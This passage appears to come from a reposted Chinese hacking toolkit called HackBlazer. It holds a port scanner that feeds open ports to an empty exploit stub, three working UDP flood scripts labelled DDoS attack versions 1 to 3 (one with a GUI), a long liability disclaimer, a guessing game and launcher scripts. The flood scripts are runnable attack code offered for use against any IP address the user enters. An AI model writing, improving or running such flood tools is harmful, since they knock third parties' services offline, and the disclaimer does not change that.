result = sock.connect_ex((ip, port))
if result == 0:
open_ports.append(port)
sock.close()
except Exception as e:
print(f"Error scanning port {port}: {e}")
return open_ports
def exploit_vulnerability(ip, port):
"""尝试利用已知漏洞"""
print(f"Trying to exploit vulnerability on {ip}:{port}")
# 这里可以添加具体的漏洞利用代码
# 例如,使用Metasploit或其他漏洞利用工具
# 这里只是一个示例,实际操作需要更复杂的逻辑
pass
def main():
target_ip = input("ip <<") # 目标IP地址
start_port = 1 # 开始端口
end_port = 1024 # 结束端口
print(f"Scanning ports {start_port}-{end_port} on {target_ip}")
open_ports = scan_ports(target_ip, start_port, end_port)
if open_ports:
print(f"Open ports found: {open_ports}")
for port in open_ports:
exploit_vulnerability(target_ip, port)
else:
print("No open ports found.")
if __name__ == "__main__":
main()
22.DDoS攻击 第1版
这个是"DDoS攻击 第1版",一定要这样命名,不然用不了,后面自己加后缀!
import os
import socket
import random
from datetime import datetime
print("<DigitalTrailBlazer>")
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(65099)
ip = input("ip <<")
port = 80
sent = 0
while True:
sock.sendto(bytes, (ip, port))
sent = sent + 1
print("已发送 %s 个数据包到 %s 端口 %d" % (sent, ip, port))
23.DDoS攻击 第2版
这个是"DDoS攻击 第2版",一定要这样命名,不然用不了,后面自己加后缀!
import socket
import time
print("<DigitalTrailBlazer>")
def send_udp_requests(ip, port, speed):
# 创建UDP套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet_count = 0
try:
while True:
# 构造一个简单的测试数据包,这里可以根据实际需求修改数据包内容
data = b"Test UDP Packet"
sock.sendto(data, (ip, port))
packet_count += 1
print(f"已发送第 {packet_count} 个数据包到 {ip}:{port}")
time.sleep(1 / speed)
except Exception as e:
print(f"发生错误: {e}")
finally:
sock.close()
if __name__ == "__main__":
ip_address = input("请输入IP地址: ")
port_number = int(input("请输入端口号: "))
request_speed = int(input("请输入请求速度(每秒请求次数): "))
send_udp_requests(ip_address, port_number, request_speed)
24.DDoS攻击 第3版
这个是"DDoS攻击 第3版",一定要这样命名,不然用不了,后面自己加后缀!
import socket
import time
import tkinter as tk
from tkinter import ttk
import threading
def send_udp_requests(ip, port, speed):
# 创建 UDP 套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet_count = 0
try:
while True:
# 构造一个简单的测试数据包,这里可以根据实际需求修改数据包内容
data = b"Test UDP Packet"
start_time = time.time()
sock.sendto(data, (ip, port))
end_time = time.time()
elapsed_time = end_time - start_time
packet_count += 1
status_label.config(text=f"已发送第 {packet_count} 个数据包到 {ip}:{port},耗时:{elapsed_time:.6f} 秒")
time.sleep(1 / speed)
except Exception as e:
print(f"发生错误: {e}")
finally:
sock.close()
def start_requests():
ip = ip_entry.get()
port = int(port_entry.get())
speed = int(speed_entry.get())
t = threading.Thread(target=send_udp_requests, args=(ip, port, speed))
t.start()
def adjust_opacity(value):
root.attributes('-alpha', float(value))
root = tk.Tk()
root.title("DDOS工具")
label = tk.Label(root, text="<DigitalTrailBlazer>")
label.pack(pady=20)
ip_label = tk.Label(root, text="请输入 IP 地址:")
ip_label.pack()
ip_entry = tk.Entry(root)
ip_entry.pack()
port_label = tk.Label(root, text="请输入端口号:")
port_label.pack()
port_entry = tk.Entry(root)
port_entry.pack()
speed_label = tk.Label(root, text="请输入请求速度(每秒请求次数):")
speed_label.pack()
speed_entry = tk.Entry(root)
speed_entry.pack()
start_button = tk.Button(root, text="开始请求", command=start_requests)
start_button.pack()
status_label = tk.Label(root, text="")
status_label.pack()
opacity_scale = ttk.Scale(root, from_=0.1, to=1.0, orient="horizontal", command=adjust_opacity)
opacity_scale.set(1.0)
opacity_scale.pack()
root.mainloop()
25.DigitalTrailBlazer-hackblazer协议
这个是"DigitalTrailBlazer-hackblazer协议",一定要这样命名,不然用不了,后面自己加后缀!
一定要有!不然脚本不给启动
"<DigitalTrailBlazer>"
"""DigitalTrailBlazer-hackblazer免责声明
本软件的使用受限于用户已获得合法授权,开发者不对用户授权的合法性进行审查,用户自行对因授权问题导致的法律后果负责。
使用本软件必须遵守所有适用的法律法规,包括但不限于国内法、国际法以及特定行业相关法规,用户若有违法使用行为,承担全部法律责任。
本软件可能存在未知漏洞或错误,尽管开发者尽力改进,但对于因这些问题导致的用户数据丢失、系统损坏或其他不良后果,开发者不承担责任。
用户不得将本软件用于任何非法目的,如网络犯罪、恶意攻击、未经授权的系统入侵等,否则将依法承担全部责任。
本软件仅供合法的安全测试、网络研究、企业内部安全评估等授权场景使用,未经授权用于其他目的属于用户违规行为。
在使用本软件进行操作时,用户应采取合理措施防止对目标系统造成损害,因用户疏忽造成的损失由用户自行承担。
对于因不可抗力(如自然灾害、战争、政府行为、网络故障等超出开发者控制范围的情况)导致的软件问题或用户损失,开发者不承担责任。
本软件的使用许可仅授予用户个人或特定授权实体,未经许可不得分发、共享、出租、出售本软件,否则用户承担侵权责任。
用户不得利用本软件对政府机构、军事设施、关键基础设施(能源、通信、金融等)进行未经授权的访问或攻击,否则自行承担法律后果。
本软件不保证与所有的操作系统、硬件设备或其他软件完全兼容,因兼容性问题导致的问题,开发者不承担责任。
用户使用本软件产生的任何直接或间接损失,包括但不限于经济损失、数据损失、业务中断等,开发者不承担赔偿责任。
开发者不承担因用户使用本软件对第三方造成损害而引发的任何责任,包括但不限于第三方索赔、诉讼等。
用户不得使用本软件收集、存储或传播违反隐私法规的个人信息,若有违反,用户承担责任。
若用户修改本软件或创建衍生作品且未获得开发者书面同意,将承担知识产权相关法律责任。
本软件仅作为一种工具提供,用户应对其使用行为和相关决策负责,开发者不对用户的决策失误承担责任。
用户不得使用本软件干扰或破坏其他软件、网络服务的正常运行,如有违反,自行承担后果。
对于因软件更新、升级或停用导致的用户不便或损失,开发者不承担责任,用户应自行备份数据。
用户在使用本软件过程中若遇到技术问题,开发者可提供有限支持,但不保证问题一定能解决。
本软件中的任何信息、数据或功能仅作为参考,用户不应完全依赖,因依赖产生的问题开发者不负责。
用户不得使用本软件绕过安全防护机制(如防火墙、认证系统等)进行非法活动,否则承担责任。
开发者不承担因用户在软件使用过程中违反道德准则或行业规范而产生的任何后果。
本软件可能会受到网络环境的影响,如网络延迟、丢包等,开发者不对由此产生的问题负责。
用户不得使用本软件对教育机构、医疗机构、公益组织等特殊保护对象进行未经授权的渗透测试。
若用户利用本软件进行商业间谍活动、不正当竞争等违法商业行为,将依法承担责任。
本软件的知识产权归开发者所有,用户不得删除、掩盖或篡改软件中的知识产权标识。
用户不得使用本软件故意制造虚假信息、误导用户或进行欺诈活动,否则承担法律责任。
在使用本软件进行渗透测试等操作时,应遵守相关的安全标准和规范,因违反导致的问题用户负责。
开发者有权根据法律法规、技术发展等情况对软件进行修改或终止服务,用户应接受。
用户在使用本软件前应仔细阅读本免责声明,继续使用表示用户接受所有条款。"""
26.game1
这个是"game1",一定要这样命名,不然用不了,后面自己加后缀!
import random
number1 = int(input("最小:"))
number2 = int(input("最大:"))
number_to_guess = random.randint(number1, number2)
tries = 0
print("欢迎来到猜数字游戏!我已经想好了一个",number1,"到",number2,"之间的数字,你来猜猜看。")
while True:
try:
guess = int(input("请输入你的猜测:"))
tries += 1
if guess == number_to_guess:
print(f"恭喜你,猜对了!你一共猜了 {tries} 次。")
break
elif guess < number_to_guess:
print("猜的数字太小了,再试试吧。")
else:
print("猜的 数字太大了,再试试吧。")
except ValueError:
print("请输入一个有效的整数哦。")
27.HBuse
这个是"HBuse"
import subprocess
import time
import sys
import os
os.system('cls' if os.name == 'nt' else 'clear')
time.sleep(1)
print("此程序由 DigitalTrailBlazer 团队提供技术支持")
time.sleep(1)
print("HackBlazer的调用程序")
time.sleep(1)
front_loaded_suffixPY = input("suffix <<")
if front_loaded_suffixPY == "":
front_loaded_suffixPY = ".py"
suffixPY = front_loaded_suffixPY
print("以默认后缀名为 '.py' !")
print(front_loaded_suffixPY)
time.sleep(1)
while True:
mainprogramcall = input("mainprogramcall <<")
mainprogramcall1 = ["invoker -hackblazer","invoker -hb","invoker -HackBlazer","invoker -HB","invoker -HACKBLAZER"]
if mainprogramcall in mainprogramcall1:#调用HackBlazer程序
mainprogramcall_input_invoker = input("是否调用HackBlazer (y/n)")
mainprogramcall2_y = ["y","yes","Y","YES"]
mainprogramcall3_n = ["N","NO","n","no"]
if mainprogramcall_input_invoker in mainprogramcall2_y:#调用HackBlazer - y
file_path = ("HackBlazerM" + front_loaded_suffixPY)
if os.path.exists(file_path):#检查文件是否存在
print("文件正常")
print("正在调用HackBlazer")
time.sleep(1)
def run_in_new_console(command):
# 使用subprocess.Popen创建新进程,并指定创建新控制台窗口
process = subprocess.Popen(command, creationflags=subprocess.CREATE_NEW_CONSOLE)
return process
if __name__ == "__main__":
# 定义要运行的命令
command = ["python", "HBuse2" + front_loaded_suffixPY] # 替换为你要运行的脚本
run_in_new_console(command)
else:#文件不正常
print("文件不正常")
if mainprogramcall_input_invoker in mainprogramcall3_n:#调用HackBlazer - n
print("已取消调用HackBlazer")
if mainprogramcall == "suffix":#更改后缀名
front_loaded_suffixPY = input("suffix <<")
print("已更改后缀名为 " + front_loaded_suffixPY)
print("需要重启程序")
subprocess.call(["python","HBuse"+front_loaded_suffixPY])
target_strings3 = ["cls", "clear", "clear screen", "cls screen"]
if mainprogramcall in target_strings3:#清屏
os.system('cls' if os.name == 'nt' else 'clear')
if mainprogramcall == "exit()":
print("已退出")
sys.exit()
28.HBuse2
这个是"HBuse2"
import subprocess
suffixPY = input("suffix <<")
if suffixPY == "":
suffixPY = ".py"
print(f"以默认后缀名为 {suffixPY} !")
def run_in_new_console(command):
# 使用subprocess.Popen创建新进程,并指定创建新控制台窗口
process = subprocess.Popen(command, creationflags=subprocess.CREATE_NEW_CONSOLE)
return process
if __name__ == "__main__":
# 定义要运行的命令
command = ["python", "hackblazerM" + suffixPY] # 替换为你要运行的脚本
# 在新终端窗口中运行命令
run_in_new_console(command)
版权归原作者 YoMon1564 所有, 如有侵权,请联系我们删除。